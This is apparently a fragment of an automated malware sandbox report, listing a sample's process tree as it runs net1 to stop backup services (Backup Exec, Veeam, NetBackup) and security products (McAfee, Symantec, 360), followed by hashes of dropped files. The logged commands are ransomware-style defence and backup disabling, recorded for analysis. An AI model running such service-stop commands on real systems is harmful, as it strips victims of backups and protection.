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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBFCService /y1⤵PID:2892
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop zhudongfangyu /y1⤵PID:3532
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mfewc /y1⤵PID:5220
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecManagementService /y1⤵PID:5284
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecVSSProvider /y1⤵PID:5276
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc /y1⤵PID:5348
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecRPCService /y1⤵PID:5324
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentAccelerator /y1⤵PID:5304
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecJobEngine /y1⤵PID:5264
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y1⤵PID:5256
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CAARCUpdateSvc /y1⤵PID:5240
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop YooIT /y1⤵PID:5228
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBIDPService /y1⤵PID:5212
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SavRoam /y1⤵PID:5204
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ccSetMgr /y1⤵PID:2164
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McAfeeDLPAgentService /y1⤵PID:856
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecDiveciMediaService /y1⤵PID:2348
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:2060
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1KB
MD5dfc51eec19872f99e348d5ede737e620
SHA1bee861266d62bfe93a58d2a19a945f69655eadac
SHA2568ab275f397c2cb607afcfb3d5cf468817dc66a38547e4dd57202bf92802fde21
SHA5126d9dcddcb232afb7f19386de00fef4f5de90b4b2bfcc25cb39dedd37845b053fe4671989282e171cdcdc0ffbb7847f243e43e4a84538a06c744f63c09c9430c2
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82